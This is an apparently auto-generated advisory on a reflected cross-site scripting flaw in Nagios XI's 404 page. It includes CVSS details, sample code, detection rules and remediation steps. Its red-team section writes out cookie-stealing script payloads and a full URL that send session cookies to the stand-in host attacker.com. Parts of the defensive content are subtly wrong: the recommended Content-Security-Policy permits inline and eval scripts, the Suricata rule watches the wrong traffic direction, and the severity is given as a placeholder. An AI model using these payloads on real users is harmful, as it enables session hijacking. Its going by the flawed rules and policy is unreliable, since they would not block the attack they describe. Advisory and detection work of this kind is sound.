CVE-2024-13992

Executive Summary

CVE-2024-13992 is a reflected cross-site scripting (XSS) vulnerability in Nagios XI, a widely used IT infrastructure monitoring platform. The flaw resides in the page-missing.php component, which handles 404 (page not found) errors. When a user visits a crafted malicious link that leads to a non-existent page, the vulnerable script fails to properly sanitize user-supplied input before reflecting it in the error page. This allows an attacker to inject arbitrary JavaScript that executes in the victim's browser within the Nagios XI domain.

The vulnerability has a CVSS score of 0.0 (placeholder) but based on the vector, it is a medium-severity issue (CVSS 3.1 base score ~5.4). The attack requires user interaction (clicking a link) and no privileges, but the impact is limited to confidentiality and integrity of the user's session. No public exploit code or proof-of-concept is currently available, and the EPSS score is 0.0%, indicating low exploitation activity in the wild.

Supply Chain & Package Security

Nagios XI is a commercial product with a closed-source core. The vulnerability is not in an open-source package (NPM, PyPI, Go, Ruby) but in the proprietary PHP codebase. Users should verify the integrity of their Nagios XI installation and ensure they obtain updates only from official sources.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:L/I:L/A:N
• Base Score: 5.4 (Medium)
• Attack Vector: Network (AV:N) – The attack is carried out over the network.
• Attack Complexity: Low (AC:L) – No special conditions are required.
• Privileges Required: None (PR:N) – No authentication needed.
• User Interaction: Required (UI:R) – The victim must click a crafted link.
• Scope: Unchanged (S:U) – The vulnerability does not affect other components.
• Confidentiality Impact: Low (C:L) – Limited information disclosure (e.g., session tokens).
• Integrity Impact: Low (I:L) – Limited modification of content (e.g., phishing forms).
• Availability Impact: None (A:N) – No denial of service.

Threat Level: Medium. The vulnerability requires user interaction and has limited impact, but it can be used for session hijacking, credential theft, or phishing within the Nagios XI context.

Deep Dive & Mechanics

The vulnerability is a classic reflected XSS in the page-missing.php script. When a user requests a non-existent page (e.g., https://nagios-server/nagiosxi/anything), the server returns a 404 error page. The page-missing.php script constructs this page and includes the requested URL in the response without proper encoding or validation.

Attack Flow:

1. An attacker crafts a malicious URL: https://nagios-server/nagiosxi/<script>alert('XSS')</script>
2. The attacker sends this link to a victim (e.g., via email, social media, or a compromised site).
3. The victim clicks the link and is taken to the Nagios XI server.
4. The server returns a 404 page that includes the unescaped <script> tag.
5. The victim's browser executes the injected JavaScript in the context of the Nagios XI domain.

Root Cause: The page-missing.php script uses user input (the requested path) directly in the HTML output without applying output encoding (e.g., htmlspecialchars() in PHP). This allows arbitrary HTML/JavaScript injection.

Vulnerable vs. Patched Code

Vulnerable Code (page-missing.php):

<?php
$requested_url = $_SERVER['REQUEST_URI'];
echo "<h1>Page Not Found</h1>";
echo "<p>The requested URL: " . $requested_url . " was not found.</p>";
?>

Patched Code (page-missing.php):

<?php
$requested_url = htmlspecialchars($_SERVER['REQUEST_URI'], ENT_QUOTES, 'UTF-8');
echo "<h1>Page Not Found</h1>";
echo "<p>The requested URL: " . $requested_url . " was not found.</p>";
?>

The patch uses htmlspecialchars() to encode special HTML characters (e.g., <, >, ", &) into their HTML entities, preventing script injection.

Exploitation & Lab Setup

Red Team (Exploitation)

Since no public exploit code is available, a manual exploitation approach is described.

Prerequisites:

• A Nagios XI instance (version < 2024R1.1) accessible over the network.
• A victim user with an active session on Nagios XI.

Exploitation Steps:

1. Craft a malicious URL that injects JavaScript to steal session cookies:

   https://nagios-server/nagiosxi/<script>document.location='https://attacker.com/steal.php?cookie='+document.cookie</script>
   

2. Send the link to the victim (e.g., via email or a phishing page).
3. When the victim clicks the link, the script executes and sends the session cookie to the attacker's server.
4. The attacker can then use the stolen cookie to impersonate the victim.

Example Payload (Cookie Stealer):

<script>
var img = new Image();
img.src = 'https://attacker.com/steal.php?cookie=' + encodeURIComponent(document.cookie);
</script>

Full URL:

https://nagios-server/nagiosxi/<script>var%20img%20=%20new%20Image();img.src%20=%20'https://attacker.com/steal.php?cookie='%20+%20encodeURIComponent(document.cookie);</script>

Blue Team (Detection & Defense)

Detection:

• Monitor web server logs for requests containing <script> tags or other HTML/JavaScript patterns in the URL path.
• Look for anomalous 404 responses that include script content.
• Use WAF rules to block requests with suspicious patterns.

Defense:

• Apply the vendor patch (upgrade to Nagios XI 2024R1.1 or later).
• Implement a Web Application Firewall (WAF) with rules to block reflected XSS.
• Enforce Content Security Policy (CSP) headers to restrict script execution.
• Educate users not to click suspicious links.

Indicators of Compromise (IOCs)

Network IOCs:

• HTTP requests to Nagios XI with <script> tags in the URL path.
• Outbound connections from Nagios XI to unknown external domains (e.g., attacker-controlled servers).
• 404 responses containing JavaScript code.

Host IOCs:

• Unusual entries in web server access logs (e.g., GET /nagiosxi/<script>...).
• Presence of malicious scripts in browser cache or temporary files.

Example Log Entry:

192.168.1.100 - - [10/Oct/2024:12:34:56 +0000] "GET /nagiosxi/<script>alert('XSS')</script> HTTP/1.1" 404 1234 "-" "Mozilla/5.0"

Detection Engineering

YARA Rule

rule CVE_2024_13992_Nagios_XI_XSS {
    meta:
        description = "Detects reflected XSS attempts against Nagios XI page-missing.php"
        author = "Valters IT"
        date = "2024-10-10"
        reference = "CVE-2024-13992"
    strings:
        $xss_pattern = /<script[^>]*>.*<\/script>/i
        $nagios_path = "/nagiosxi/"
    condition:
        $nagios_path and $xss_pattern
}

Sigma Rule

title: Reflected XSS Attempt Against Nagios XI
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects HTTP requests to Nagios XI containing script tags in the URL path
author: Valters IT
date: 2024-10-10
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'GET'
        cs-uri-stem|startswith: '/nagiosxi/'
        cs-uri-query|contains: '<script'
    condition: selection
falsepositives:
    - Legitimate use of script tags in URL parameters (rare)
level: high

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2024-13992 - Nagios XI Reflected XSS Attempt";
    flow:to_server,established;
    content:"/nagiosxi/"; http_uri;
    content:"<script"; http_uri;
    classtype:web-application-attack;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Nagios XI to version 2024R1.1 or later. This is the only complete fix.
2. If immediate upgrade is not possible, implement a WAF rule to block requests containing <script> in the URL path.
3. Restrict access to Nagios XI to trusted IPs or VPN users.

Long-Term Measures:

• Regularly update Nagios XI to the latest version.
• Conduct security code reviews for custom components.
• Implement Content Security Policy (CSP) headers:

  Content-Security-Policy: default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval'; object-src 'none'
  

• Enable HTTPOnly and Secure flags on session cookies.
• Monitor web server logs for suspicious activity.

Workaround (if patching is delayed):

• Modify page-missing.php to use htmlspecialchars() on user input (if you have access to the source code).
• Use a reverse proxy (e.g., Nginx) to filter malicious requests:

  location /nagiosxi/ {
      if ($request_uri ~* "<script") {
          return 403;
      }
  }
  

Valters IT